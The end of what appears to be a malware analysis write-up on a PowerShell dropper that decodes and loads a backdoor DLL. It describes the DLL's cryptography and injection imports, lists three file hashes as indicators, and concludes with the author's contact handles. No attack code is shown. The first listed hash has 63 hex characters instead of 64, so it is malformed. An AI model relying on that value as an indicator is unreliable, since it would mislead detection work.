Disassembly of DLL

Taking a small peak under the hood of this DLL, we can see a lot of the imported API calls have to do with cryptography and process injections, which could mean there are other stages to this malware, but as you can see to the right of the picture above, there is a function I reverse engineered already that is responsible for decrypting and resolving 100's of APIs from Kernel32.

IOCs

Main PowerShell Script

134919151466c9292bdcb7c24c32c841a5183d880072b0ad5e8b3a3a830afef

PE Dropper PowerShell Script

187bf95439da038c1bc291619507ff5e426d250709fa5e3eda7fda99e1c9854c

Dropped DLL Backdoor

b93484683014aca8e909c9b5648d8f0ac21a45d0c193f6ca40f0b01d2464c1c4

Conclusion

This PowerShell script that we went through installs a secondary PowerShell script, to which we analyzed and figured that it decodes and loads either a 32-bit DLL or a 64-bit DLL that will most likely be used as its communication module. It was stated by CISA that the FBI has had high confidence that this malware is a Russian state sponsored APT (Advanced Persistent Threat) group that uses this malicious virus to exploit victim's networks. With that being said, here are all the PowerShell scripts I deobfuscated for this research paper. Dropper Part I & Dropper Part II.

Thank you for following along! I hope you enjoyed it as much as I did. If you have any questions on this article or where to find the challenge, please DM me at my Instagram: @hackersclub or Twitter: @ringoware

Happy Hunting :)

References